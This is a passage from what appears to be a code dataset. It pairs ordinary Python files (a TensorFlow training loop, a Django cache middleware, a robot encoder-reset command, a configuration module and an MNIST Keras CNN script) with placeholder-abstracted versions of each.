os.path.abspath(os.path.join(os.path.curdir, 'runs'))\n print('Writing to {}\\n'.format(out_dir))\n loss_summary = tf.summary.scalar('loss', rnn.loss)\n acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)\n train_summary_op = tf.summary.merge([loss_summary, acc_summary,\n grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, 'summaries', 'train')\n train_summary_writer = tf.summary.FileWriter(train_summary_dir,\n sess.graph)\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))\n checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.\n num_checkpoints)\n vocab_processor.save(os.path.join(out_dir, 'vocab'))\n sess.run(tf.global_variables_initializer())\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: FLAGS.dropout_keep_prob}\n _, step, summaries, loss, accuracy = sess.run([train_op,\n global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n train_summary_writer.add_summary(summaries, step)\n return loss, accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: 1.0}\n step, summaries, loss, accuracy = sess.run([global_step,\n dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,\n loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n return accuracy\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)),\n FLAGS.batch_size, FLAGS.num_epochs)\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print('\\nTrain loss:{0}, Train accuracy:{1}'.format(\n train_loss, train_acc))\n print('Evaluation:')\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print('Model checkpoint saved at {0}, accuracy={1}'.\n format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n print('')\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,905
5b440484c5d7f066c54837c2812967a0ff360399
from datetime import date from django.conf import settings from django.utils.decorators import decorator_from_middleware_with_args from django.views.decorators.cache import cache_page from django.middleware.cache import CacheMiddleware lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache='eregs_longterm_cache') class DailyCacheMiddleware(CacheMiddleware): """Like the cache middleware, but always expires at midnight""" @property def key_prefix(self): return date.today().isoformat() + '/' + (self.__key_prefix or '') @key_prefix.setter def key_prefix(self, value): self.__key_prefix = value daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)( cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache_alias='eregs_longterm_cache')
[ "from datetime import date\n\nfrom django.conf import settings\nfrom django.utils.decorators import decorator_from_middleware_with_args\nfrom django.views.decorators.cache import cache_page\nfrom django.middleware.cache import CacheMiddleware\n\n\nlt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache='eregs_longterm_cache')\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\ndaily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(\n cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache_alias='eregs_longterm_cache')\n", "from datetime import date\nfrom django.conf import settings\nfrom django.utils.decorators import decorator_from_middleware_with_args\nfrom django.views.decorators.cache import cache_page\nfrom django.middleware.cache import CacheMiddleware\nlt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache='eregs_longterm_cache')\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\ndaily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(\n cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache_alias='eregs_longterm_cache')\n", "<import token>\nlt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache='eregs_longterm_cache')\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\ndaily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(\n cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],\n cache_alias='eregs_longterm_cache')\n", "<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n \"\"\"Like the cache middleware, but always expires at midnight\"\"\"\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\n<assignment token>\n", "<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n <docstring token>\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n\n @key_prefix.setter\n def key_prefix(self, value):\n self.__key_prefix = value\n\n\n<assignment token>\n", "<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n <docstring token>\n\n @property\n def key_prefix(self):\n return date.today().isoformat() + '/' + (self.__key_prefix or '')\n <function token>\n\n\n<assignment token>\n", "<import token>\n<assignment token>\n\n\nclass DailyCacheMiddleware(CacheMiddleware):\n <docstring token>\n <function token>\n <function token>\n\n\n<assignment token>\n", "<import token>\n<assignment token>\n<class token>\n<assignment token>\n" ]
false
9,906
f73faabe955e3ae05039e58ebabe5c012e080f38
import time import math from wpilib import SmartDashboard from wpilib.command import Command import robotmap import subsystems class TankDriveResetEncoders(Command): def __init__(self): super().__init__('TankDriveTurnToHeading') self.requires(subsystems.driveline) self.setInterruptible(True) self.setRunWhenDisabled(False) def execute(self): subsystems.driveline.resetEncoders() print("CMD TankDriveResetEncoders: Reset Completed") def isFinished(self): return True
[ "import time\nimport math\n\nfrom wpilib import SmartDashboard\nfrom wpilib.command import Command\n\nimport robotmap\nimport subsystems\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print(\"CMD TankDriveResetEncoders: Reset Completed\")\n\n def isFinished(self):\n return True\n\n", "import time\nimport math\nfrom wpilib import SmartDashboard\nfrom wpilib.command import Command\nimport robotmap\nimport subsystems\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n\n def isFinished(self):\n return True\n", "<import token>\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n\n def isFinished(self):\n return True\n", "<import token>\n\n\nclass TankDriveResetEncoders(Command):\n\n def __init__(self):\n super().__init__('TankDriveTurnToHeading')\n self.requires(subsystems.driveline)\n self.setInterruptible(True)\n self.setRunWhenDisabled(False)\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n <function token>\n", "<import token>\n\n\nclass TankDriveResetEncoders(Command):\n <function token>\n\n def execute(self):\n subsystems.driveline.resetEncoders()\n print('CMD TankDriveResetEncoders: Reset Completed')\n <function token>\n", "<import token>\n\n\nclass TankDriveResetEncoders(Command):\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,907
263d2fe43cf8747f20fd51897ba003c9c4cb4280
""" Configuration management. Environment must be set before use. Call .get() to obtain configuration variable. If the variable does not exist in the set environment, then """ CONFIG_KEY = "config_class" ENV = {} class EMPTY: """ Signifies that a default value was not set. Should trigger an error if default is set to EMPTY and an attribute does not exist. """ pass class Config: """ Configuration management entity. Args: name (str): Name of config environment. fallback (bool): Indicate if configuration should fallback to base. """ no_config_err = "No such config variable {}" def __init__(self, name, fallback): from importlib import import_module from os import listdir from os.path import dirname self.config_path = dirname(__file__) self.name = name self.fallback = fallback # List of config modules available self.config_modules = set([ i.strip(".py") for i in listdir(self.config_path) if ".py" in i and i != "__init__.py" ]) if name not in self.config_modules: err = "Config environment {} does not exist".format(name) raise AttributeError(err) if self.fallback: # Fallback configuration module. self.base = import_module("illume.config.base") # Desired configuration module. self.module = import_module("illume.config.{}".format(self.name)) def get(self, name, default): """Get config value""" value = getattr(self.module, name, default) if value != EMPTY: return value elif value == EMPTY and not self.fallback: raise AttributeError(self.no_config_err.format(name)) elif value == EMPTY and self.fallback: value = getattr(self.base, name, default) if value == EMPTY: raise AttributeError(self.no_config_err.format(name)) return value def setenv(name, fallback=True): """Set configuration environment.""" if CONFIG_KEY in ENV: raise AttributeError("Config environment already set.") config_class = Config(name, fallback) ENV[CONFIG_KEY] = config_class def get(name, default=EMPTY): """Get configuration variable.""" config_class = ENV.get(CONFIG_KEY, None) if config_class is None: raise AttributeError("Config environment not set.") return config_class.get(name, default)
[ "\"\"\"\nConfiguration management.\n\nEnvironment must be set before use.\n\nCall .get() to obtain configuration variable. If the variable does not exist\nin the set environment, then\n\"\"\"\n\n\nCONFIG_KEY = \"config_class\"\nENV = {}\n\n\nclass EMPTY:\n\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n\n pass\n\n\nclass Config:\n\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n\n no_config_err = \"No such config variable {}\"\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n\n # List of config modules available\n self.config_modules = set([\n i.strip(\".py\")\n for i in listdir(self.config_path)\n if \".py\" in i and i != \"__init__.py\"\n ])\n\n if name not in self.config_modules:\n err = \"Config environment {} does not exist\".format(name)\n\n raise AttributeError(err)\n\n if self.fallback:\n # Fallback configuration module.\n self.base = import_module(\"illume.config.base\")\n\n # Desired configuration module.\n self.module = import_module(\"illume.config.{}\".format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n\n return value\n\n\ndef setenv(name, fallback=True):\n \"\"\"Set configuration environment.\"\"\"\n if CONFIG_KEY in ENV:\n raise AttributeError(\"Config environment already set.\")\n\n config_class = Config(name, fallback)\n\n ENV[CONFIG_KEY] = config_class\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n\n if config_class is None:\n raise AttributeError(\"Config environment not set.\")\n\n return config_class.get(name, default)\n", "<docstring token>\nCONFIG_KEY = 'config_class'\nENV = {}\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\ndef setenv(name, fallback=True):\n \"\"\"Set configuration environment.\"\"\"\n if CONFIG_KEY in ENV:\n raise AttributeError('Config environment already set.')\n config_class = Config(name, fallback)\n ENV[CONFIG_KEY] = config_class\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n if config_class is None:\n raise AttributeError('Config environment not set.')\n return config_class.get(name, default)\n", "<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\ndef setenv(name, fallback=True):\n \"\"\"Set configuration environment.\"\"\"\n if CONFIG_KEY in ENV:\n raise AttributeError('Config environment already set.')\n config_class = Config(name, fallback)\n ENV[CONFIG_KEY] = config_class\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n if config_class is None:\n raise AttributeError('Config environment not set.')\n return config_class.get(name, default)\n", "<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n\n\ndef get(name, default=EMPTY):\n \"\"\"Get configuration variable.\"\"\"\n config_class = ENV.get(CONFIG_KEY, None)\n if config_class is None:\n raise AttributeError('Config environment not set.')\n return config_class.get(name, default)\n", "<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n \"\"\"\n Signifies that a default value was not set. Should trigger an error if\n default is set to EMPTY and an attribute does not exist.\n \"\"\"\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n\n\nclass EMPTY:\n <docstring token>\n pass\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n \"\"\"\n Configuration management entity.\n\n Args:\n name (str): Name of config environment.\n fallback (bool): Indicate if configuration should fallback to base.\n \"\"\"\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n no_config_err = 'No such config variable {}'\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n <assignment token>\n\n def __init__(self, name, fallback):\n from importlib import import_module\n from os import listdir\n from os.path import dirname\n self.config_path = dirname(__file__)\n self.name = name\n self.fallback = fallback\n self.config_modules = set([i.strip('.py') for i in listdir(self.\n config_path) if '.py' in i and i != '__init__.py'])\n if name not in self.config_modules:\n err = 'Config environment {} does not exist'.format(name)\n raise AttributeError(err)\n if self.fallback:\n self.base = import_module('illume.config.base')\n self.module = import_module('illume.config.{}'.format(self.name))\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n <assignment token>\n <function token>\n\n def get(self, name, default):\n \"\"\"Get config value\"\"\"\n value = getattr(self.module, name, default)\n if value != EMPTY:\n return value\n elif value == EMPTY and not self.fallback:\n raise AttributeError(self.no_config_err.format(name))\n elif value == EMPTY and self.fallback:\n value = getattr(self.base, name, default)\n if value == EMPTY:\n raise AttributeError(self.no_config_err.format(name))\n return value\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n<class token>\n\n\nclass Config:\n <docstring token>\n <assignment token>\n <function token>\n <function token>\n\n\n<function token>\n<function token>\n", "<docstring token>\n<assignment token>\n<class token>\n<class token>\n<function token>\n<function token>\n" ]
false
9,908
01339324ad1a11aff062e8b27efabf27c97157fb
import os import cv2 import numpy as np from sklearn.preprocessing import LabelEncoder from sklearn.preprocessing import OneHotEncoder from numpy import array import tensorflow as tf TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/' train_folder_list = array(os.listdir(TRAIN_DIR)) train_input = [] train_label = [] label_encoder = LabelEncoder() # LabelEncoder Class 호출 integer_encoded = label_encoder.fit_transform(train_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(train_folder_list)): path = os.path.join(TRAIN_DIR, train_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) train_input.append([np.array(img)]) train_label.append([np.array(index)]) train_input = np.reshape(train_input, (-1, 28, 28)) train_label = np.reshape(train_label, (-1,)) train_input = np.array(train_input).astype(np.float32) train_label = np.array(train_label).astype(np.float32) np.save("train_data.npy", train_input) np.save("train_label.npy", train_label) TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/' test_folder_list = array(os.listdir(TEST_DIR)) test_input = [] test_label = [] label_encoder = LabelEncoder() integer_encoded = label_encoder.fit_transform(test_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(test_folder_list)): path = os.path.join(TEST_DIR, test_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) test_input.append([np.array(img)]) test_label.append([np.array(index)]) test_input = np.reshape(test_input, (-1, 28, 28)) test_label = np.reshape(test_label, (-1,)) test_input = np.array(test_input).astype(np.float32) test_label = np.array(test_label).astype(np.float32) np.save("test_input.npy", test_input) np.save("test_label.npy", test_label) #-*- coding: utf-8 -*- from keras.datasets import mnist from keras.utils import np_utils from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D from keras.callbacks import ModelCheckpoint,EarlyStopping import matplotlib.pyplot as plt # seed 값 설정 seed = 0 np.random.seed(seed) tf.set_random_seed(seed) # 데이터 불러오기 # test_input = [] # test_label = [] # # train_input = [] # train_label = [] X_train = train_input Y_train = train_label X_test = test_input Y_test = test_label print('X train shape') print(X_train.shape) print('Y train shape') print(Y_train.shape) print('X test shape') print(X_test.shape) print('y test shape') print(Y_test.shape) #(X_train, Y_train), (X_test, Y_test) = mnist.load_data() X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255 X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255 Y_train = np_utils.to_categorical(Y_train) Y_test = np_utils.to_categorical(Y_test) # 컨볼루션 신경망의 설정 model = Sequential() model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=2)) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) # 모델 최적화 설정 MODEL_DIR = './model/' if not os.path.exists(MODEL_DIR): os.mkdir(MODEL_DIR) modelpath="./model/{epoch:02d}-{val_loss:.4f}.hdf5" checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True) early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10) # 모델의 실행 history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[early_stopping_callback,checkpointer]) # 테스트 정확도 출력 print("\n Test Accuracy: %.4f" % (model.evaluate(X_test, Y_test)[1])) # 테스트 셋의 오차 y_vloss = history.history['val_loss'] # 학습셋의 오차 y_loss = history.history['loss'] # 그래프로 표현 x_len = np.arange(len(y_loss)) plt.plot(x_len, y_vloss, marker='.', c="red", label='Testset_loss') plt.plot(x_len, y_loss, marker='.', c="blue", label='Trainset_loss') # 그래프에 그리드를 주고 레이블을 표시 plt.legend(loc='upper right') plt.grid() plt.xlabel('epoch') plt.ylabel('loss') plt.show()
[ "import os\r\nimport cv2\r\nimport numpy as np\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nfrom numpy import array\r\nimport tensorflow as tf\r\n\r\nTRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'\r\ntrain_folder_list = array(os.listdir(TRAIN_DIR))\r\n\r\ntrain_input = []\r\ntrain_label = []\r\n\r\nlabel_encoder = LabelEncoder() # LabelEncoder Class 호출\r\ninteger_encoded = label_encoder.fit_transform(train_folder_list)\r\nonehot_encoder = OneHotEncoder(sparse=False)\r\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\r\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\r\n\r\nfor index in range(len(train_folder_list)):\r\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\r\n path = path + '/'\r\n img_list = os.listdir(path)\r\n for img in img_list:\r\n img_path = os.path.join(path, img)\r\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\r\n train_input.append([np.array(img)])\r\n train_label.append([np.array(index)])\r\n\r\ntrain_input = np.reshape(train_input, (-1, 28, 28))\r\ntrain_label = np.reshape(train_label, (-1,))\r\ntrain_input = np.array(train_input).astype(np.float32)\r\ntrain_label = np.array(train_label).astype(np.float32)\r\nnp.save(\"train_data.npy\", train_input)\r\nnp.save(\"train_label.npy\", train_label)\r\n\r\nTEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'\r\ntest_folder_list = array(os.listdir(TEST_DIR))\r\n\r\ntest_input = []\r\ntest_label = []\r\n\r\nlabel_encoder = 